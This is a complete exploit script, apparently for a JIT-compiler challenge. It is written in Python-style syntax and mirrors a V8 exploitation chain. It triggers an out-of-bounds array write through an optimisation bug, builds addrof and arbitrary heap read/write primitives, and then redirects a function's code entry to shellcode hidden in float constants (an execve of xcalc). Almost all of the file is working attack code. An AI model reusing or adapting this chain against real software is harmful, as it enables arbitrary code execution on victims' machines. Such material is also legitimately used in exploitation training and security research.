import struct
def ftoi(f): # float to int
# Convert float to binary representation (8 bytes)
packed = struct.pack('<d', f)
# Unpack as 64-bit integer
return struct.unpack('<q', packed)[0]
def itof(i): # int to float
# Convert 64-bit integer to binary representation (8 bytes)
packed = struct.pack('<q', i)
# Unpack as double-precision float
return struct.unpack('<d', packed)[0]
def lower(i): # lower 32 bits of int
return i & 0xffffffff
def upper(i): # upper 32 bits of int
return (i >> 32) & 0xffffffff
def hex_string(i):
# Return the hex string of a value
return f"0x{i:016x}"
# Part 2a: Shellcode with Immediate Numbers
def foo():
# execve("/usr/bin/xcalc", ["/usr/bin/xcalc"], ["DISPLAY=:0"])
return [
1.9553820986592714e-246, 1.9557677050669863e-246,
1.97118242283721e-246, 1.9563405961237867e-246,
1.9560656634566922e-246, 1.9711824228871598e-246,
1.986669612134628e-246, 1.9712777999056378e-246,
1.9570673233493564e-246, 1.9950498189626253e-246,
1.9711832653349477e-246, 1.9710251545829015e-246,
1.9562870598986932e-246, 1.9560284264452913e-246,
1.9473970328478236e-246, 1.9535181816562593e-246,
5.6124209215264576e-232, 5.438699428135179e-232
]
# Trigger optimisation of function so the bytecode is stored in heap
for _ in range(0x10000):
foo()
# Part 0: Initial OOB write
class Proxy:
def __getitem__(self, key):
global a, oob_arr
a[0] = {}
oob_arr = [1.1]
return object
def f(p):
global a
a.append(1.9553820986592714e-246 if not callable(p) else 0) # itof(0x1337133700010000)
def main(p):
return f(p)
a = [1.1] * 11
oob_arr = []
a.pop()
a.pop()
# Trigger optimisation of main (inlining)
for _ in range(0x10000):
main(lambda: None)
a.pop()
main(lambda: None)
main(Proxy())
assert len(oob_arr) == 0x8000 # Achieved OOB
# Part 1: addrof, read write primitives
vic_arr = [1.1] * 128 # Victim float array
obj_arr = [{}] * 256 # Object array
def oob_read32(i): # Read 32 bits at offset from oob_arr elements
i -= 2
if i % 2 == 0:
return lower(ftoi(oob_arr[i // 2]))
else:
return upper(ftoi(oob_arr[i // 2]))
def oob_write32(i, x): # Write 32 bits at offset from oob_arr elements
i -= 2
if i % 2 == 0:
oob_arr[i // 2] = itof((oob_read32(i ^ 1) << 32) + x)
else:
oob_arr[i // 2] = itof((x << 32) + oob_read32(i ^ 1))
def addrof(o): # Get heap address of object
global vic_arr, obj_arr
obj_arr[0] = o
vic_arr_mapptr = oob_read32(17)
obj_arr_mapptr = oob_read32(411)
oob_write32(411, vic_arr_mapptr)
addr = obj_arr[0]
oob_write32(411, obj_arr_mapptr)
return lower(ftoi(addr))
def heap_read64(addr): # Read 64 bits at arbitrary heap address
global vic_arr
vic_arr_elemptr = oob_read32(19)
new_vic_arr_elemptr = addr - 0x8 + 1
oob_write32(19, new_vic_arr_elemptr)
data = ftoi(vic_arr[0])
oob_write32(19, vic_arr_elemptr)
return data
def heap_write64(addr, val): # Write 64 bits at arbitrary heap address
global vic_arr
vic_arr_elemptr = oob_read32(19)
new_vic_arr_elemptr = addr - 0x8 + 1
oob_write32(19, new_vic_arr_elemptr)
vic_arr[0] = itof(val)
oob_write32(19, vic_arr_elemptr)
# Part 2b: Shellcode with Immediate Numbers
foo_addr = addrof(foo)
code_container = lower(heap_read64(foo_addr - 1 + 0x18))
code_entry_addr = code_container - 1 + 0x10
code_entry = heap_read64(code_entry_addr)
print(f"addrof foo = {hex_string(foo_addr)}")
print(f"code container = {hex_string(code_container)}")
print(f"code entry = {hex_string(code_entry)}")
# Overwrite code entry to start of user-controlled immediates
heap_write64(code_entry_addr, code_entry + 0x66)
foo() # Executes user-controlled immediates as shellcode